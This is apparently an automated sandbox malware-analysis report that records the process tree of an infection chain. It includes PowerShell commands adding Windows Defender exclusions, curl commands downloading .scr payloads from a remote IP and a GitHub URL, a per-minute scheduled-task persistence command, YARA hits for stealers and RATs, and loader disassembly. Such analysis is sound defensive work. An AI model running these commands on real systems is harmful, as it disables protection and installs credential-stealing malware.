                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:Borland Delphi
                                                                                                                      Yara matches:
                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.3688530749.00000000001C2000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                      Reputation:low
                                                                                                                      Has exited:false

                                                                                                                      General

                                                                                                                      Target ID:2
                                                                                                                      Start time:15:09:01
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:false

                                                                                                                      General

                                                                                                                      Target ID:8
                                                                                                                      Start time:15:09:07
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
                                                                                                                      Imagebase:0x790000
                                                                                                                      File size:433'152 bytes
                                                                                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:9
                                                                                                                      Start time:15:09:07
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:12
                                                                                                                      Start time:15:09:10
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"cmd.exe" /c mkdir C:\Users\gbcd
                                                                                                                      Imagebase:0x410000
                                                                                                                      File size:236'544 bytes
                                                                                                                      MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:13
                                                                                                                      Start time:15:09:10
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:14
                                                                                                                      Start time:15:09:11
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\curl.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scr
                                                                                                                      Imagebase:0x990000
                                                                                                                      File size:470'528 bytes
                                                                                                                      MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:moderate
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:15
                                                                                                                      Start time:15:09:11
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:16
                                                                                                                      Start time:15:09:16
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\curl.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scr
                                                                                                                      Imagebase:0x990000
                                                                                                                      File size:470'528 bytes
                                                                                                                      MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:moderate
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:17
                                                                                                                      Start time:15:09:16
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:high
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:19
                                                                                                                      Start time:15:09:21
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\curl.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scr
                                                                                                                      Imagebase:0x990000
                                                                                                                      File size:470'528 bytes
                                                                                                                      MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Reputation:moderate
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:20
                                                                                                                      Start time:15:09:21
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:21
                                                                                                                      Start time:16:40:36
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\curl.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exe
                                                                                                                      Imagebase:0x990000
                                                                                                                      File size:470'528 bytes
                                                                                                                      MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:22
                                                                                                                      Start time:16:40:36
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:23
                                                                                                                      Start time:16:40:40
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Users\gbcd\fff.scr
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Users\gbcd\fff.scr"
                                                                                                                      Imagebase:0xa50000
                                                                                                                      File size:1'262'080 bytes
                                                                                                                      MD5 hash:81720AF225C9B2E5C8D7B81A7581CF5D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:Borland Delphi
                                                                                                                      Yara matches:
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.0000000005352000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.0000000005107000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000017.00000002.1630207447.00000000060D7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000017.00000002.1630207447.0000000006227000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000017.00000002.1630207447.000000000632A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      Antivirus matches:
                                                                                                                      • Detection: 100%, Avira
                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:24
                                                                                                                      Start time:16:40:49
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Users\gbcd\qqq.scr
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Users\gbcd\qqq.scr"
                                                                                                                      Imagebase:0x4c0000
                                                                                                                      File size:1'197'056 bytes
                                                                                                                      MD5 hash:33300ACB6FB3C7EFFAE29A3EB133BE2E
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:Borland Delphi
                                                                                                                      Yara matches:
                                                                                                                      • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                      Antivirus matches:
                                                                                                                      • Detection: 100%, Avira
                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                      • Detection: 51%, ReversingLabs
                                                                                                                      Has exited:false

                                                                                                                      General

                                                                                                                      Target ID:25
                                                                                                                      Start time:16:40:53
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\gbcd\qqq.scr'
                                                                                                                      Imagebase:0x790000
                                                                                                                      File size:433'152 bytes
                                                                                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:26
                                                                                                                      Start time:16:40:53
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:27
                                                                                                                      Start time:16:40:58
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'qqq.scr'
                                                                                                                      Imagebase:0x790000
                                                                                                                      File size:433'152 bytes
                                                                                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:28
                                                                                                                      Start time:16:40:58
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:29
                                                                                                                      Start time:16:41:04
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\winnotify.scr'
                                                                                                                      Imagebase:0x790000
                                                                                                                      File size:433'152 bytes
                                                                                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:30
                                                                                                                      Start time:16:41:04
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:31
                                                                                                                      Start time:16:41:10
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winnotify.scr'
                                                                                                                      Imagebase:0x790000
                                                                                                                      File size:433'152 bytes
                                                                                                                      MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:32
                                                                                                                      Start time:16:41:10
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:35
                                                                                                                      Start time:16:41:28
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winnotify" /tr "C:\Users\Public\winnotify.scr"
                                                                                                                      Imagebase:0x6c0000
                                                                                                                      File size:187'904 bytes
                                                                                                                      MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:36
                                                                                                                      Start time:16:41:28
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                      Wow64 process (32bit):false
                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      Imagebase:0x7ff75da10000
                                                                                                                      File size:862'208 bytes
                                                                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                      Has elevated privileges:true
                                                                                                                      Has administrator privileges:true
                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:37
                                                                                                                      Start time:16:41:38
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Users\Public\winnotify.scr
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Users\Public\winnotify.scr" /S
                                                                                                                      Imagebase:0x450000
                                                                                                                      File size:1'197'056 bytes
                                                                                                                      MD5 hash:33300ACB6FB3C7EFFAE29A3EB133BE2E
                                                                                                                      Has elevated privileges:false
                                                                                                                      Has administrator privileges:false
                                                                                                                      Programmed in:Borland Delphi
                                                                                                                      Yara matches:
                                                                                                                      • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000025.00000002.2324631468.0000000004C52000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000025.00000002.2207912589.0000000000452000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
                                                                                                                      Antivirus matches:
                                                                                                                      • Detection: 100%, Avira
                                                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                                                      • Detection: 51%, ReversingLabs
                                                                                                                      Has exited:true

                                                                                                                      General

                                                                                                                      Target ID:38
                                                                                                                      Start time:16:41:48
                                                                                                                      Start date:23/11/2024
                                                                                                                      Path:C:\Users\Public\winnotify.scr
                                                                                                                      Wow64 process (32bit):true
                                                                                                                      Commandline:"C:\Users\Public\winnotify.scr" /S
                                                                                                                      Imagebase:0x450000
                                                                                                                      File size:1'197'056 bytes
                                                                                                                      MD5 hash:33300ACB6FB3C7EFFAE29A3EB133BE2E
                                                                                                                      Has elevated privileges:false
                                                                                                                      Has administrator privileges:false
                                                                                                                      Programmed in:Borland Delphi
                                                                                                                      Yara matches:
                                                                                                                      • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000026.00000002.2381512585.000000000511F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                      Has exited:true

                                                                                                                      Disassembly

                                                                                                                      Reset < >

                                                                                                                        Execution Graph

                                                                                                                        Execution Coverage:4.2%
                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                        Signature Coverage:20.5%
                                                                                                                        Total number of Nodes:112
                                                                                                                        Total number of Limit Nodes:9
                                                                                                                        execution_graph 23201 46e414 23202 46e417 23201->23202 23205 46e328 23202->23205 23206 46e353 23205->23206 23216 46e048 23206->23216 23208 46e35f 23209 46e3db 23208->23209 23220 46e068 23208->23220 23224 4696a0 23209->23224 23213 46e37c 23213->23209 23228 46b574 10 API calls 23213->23228 23229 46e088 Module32Next 23213->23229 23217 46e053 23216->23217 23218 46e057 CreateToolhelp32Snapshot 23217->23218 23219 46e062 23217->23219 23218->23208 23219->23208 23221 46e073 23220->23221 23222 46e077 Module32First 23221->23222 23223 46e082 23221->23223 23222->23213 23223->23213 23225 4696a6 23224->23225 23226 4696cc Sleep 23225->23226 23230 468518 10 API calls 23225->23230 23226->23202 23228->23213 23229->23213 23230->23225 23279 468434 23280 46845b 23279->23280 23281 468448 23279->23281 23282 468472 RtlEnterCriticalSection 23280->23282 23283 46847c 23280->23283 23308 467838 RtlInitializeCriticalSection RtlEnterCriticalSection LocalAlloc RtlLeaveCriticalSection 23281->23308 23282->23283 23295 468258 13 API calls 23283->23295 23286 46844d 23286->23280 23288 468451 23286->23288 23287 468485 23292 468489 23287->23292 23296 467f24 23287->23296 23290 4684e4 23291 4684da RtlLeaveCriticalSection 23291->23290 23292->23290 23292->23291 23293 468495 23293->23292 23309 4680b4 9 API calls 23293->23309 23295->23287 23297 467f41 23296->23297 23298 467f38 23296->23298 23301 467f6a RtlEnterCriticalSection 23297->23301 23302 467f74 23297->23302 23303 467f49 23297->23303 23316 467838 RtlInitializeCriticalSection RtlEnterCriticalSection LocalAlloc RtlLeaveCriticalSection 23298->23316 23300 467f3d 23300->23297 23300->23303 23301->23302 23302->23303 23310 467e30 23302->23310 23303->23293 23306 468095 RtlLeaveCriticalSection 23307 46809f 23306->23307 23307->23293 23308->23286 23309->23292 23313 467e40 23310->23313 23311 467e6c 23315 467e90 23311->23315 23322 467c44 9 API calls 23311->23322 23313->23311 23313->23315 23317 467da4 23313->23317 23315->23306 23315->23307 23316->23300 23323 4675f8 23317->23323 23319 467db4 23320 467dc1 23319->23320 23332 467d18 9 API calls 23319->23332 23320->23313 23322->23315 23327 467614 23323->23327 23324 46761e 23333 4674e4 23324->23333 23327->23324 23329 46766f 23327->23329 23331 46762a 23327->23331 23337 467350 23327->23337 23345 46724c LocalAlloc 23327->23345 23346 46742c VirtualFree 23329->23346 23331->23319 23332->23320 23334 46752a 23333->23334 23335 467546 VirtualAlloc 23334->23335 23336 46755a 23334->23336 23335->23334 23335->23336 23336->23331 23338 46735f VirtualAlloc 23337->23338 23340 4673af 23338->23340 23341 46738c 23338->23341 23340->23327 23347 467204 LocalAlloc 23341->23347 23343 467398 23343->23340 23344 46739c VirtualFree 23343->23344 23344->23340 23345->23327 23346->23331 23347->23343 23231 46c9e0 23232 46c9ee 23231->23232 23241 46a1f4 23232->23241 23234 46ca18 23247 46bb14 36 API calls 23234->23247 23236 46ca26 23248 4696d0 10 API calls 23236->23248 23238 46ca31 23239 4696a0 10 API calls 23238->23239 23240 46ca4b 23239->23240 23242 46a204 23241->23242 23243 46a235 23241->23243 23242->23243 23249 469c9c 23242->23249 23243->23234 23245 46a224 LoadStringA 23254 46976c 10 API calls 23245->23254 23247->23236 23248->23238 23250 469ca6 23249->23250 23251 469cc3 23249->23251 23250->23251 23255 469c54 23250->23255 23251->23245 23254->23243 23256 469c64 GetModuleFileNameA 23255->23256 23257 469c80 23255->23257 23259 469e90 GetModuleFileNameA RegOpenKeyExA 23256->23259 23257->23245 23260 469f13 23259->23260 23261 469ed3 RegOpenKeyExA 23259->23261 23278 469cd8 10 API calls 23260->23278 23261->23260 23262 469ef1 RegOpenKeyExA 23261->23262 23262->23260 23264 469f9c lstrcpyn GetThreadLocale GetLocaleInfoA 23262->23264 23268 46a0b4 23264->23268 23269 469fd3 23264->23269 23265 469f38 RegQueryValueExA 23266 469f7a RegCloseKey 23265->23266 23267 469f58 RegQueryValueExA 23265->23267 23266->23257 23267->23266 23270 469f76 23267->23270 23268->23257 23269->23268 23271 469fe3 lstrlen 23269->23271 23270->23266 23272 469ffb 23271->23272 23272->23268 23273 46a020 lstrcpyn 23272->23273 23274 46a046 23272->23274 23273->23274 23274->23268 23275 46a052 lstrcpyn 23274->23275 23276 46a07e 23275->23276 23276->23268 23277 46a084 lstrcpyn 23276->23277 23277->23268 23278->23265

                                                                                                                        Executed Functions

                                                                                                                        Function 00469E90 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 184registrystringthreadCOMMON
                                                                                                                        Download Yara Rule

                                                                                                                        Control-flow Graph

                                                                                                                        APIs
                                                                                                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,0046F090), ref: 00469EAC
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,0046F090), ref: 00469ECA
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,?,0046F090), ref: 00469EE8
                                                                                                                        • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00469F06
                                                                                                                        • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00469F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00469F4F
                                                                                                                        • RegQueryValueExA.ADVAPI32(?,0046A0FC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00469F95,?,80000001), ref: 00469F6D
                                                                                                                        • RegCloseKey.ADVAPI32(?,00469F9C,00000000,?,?,00000000,00469F95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00469F8F
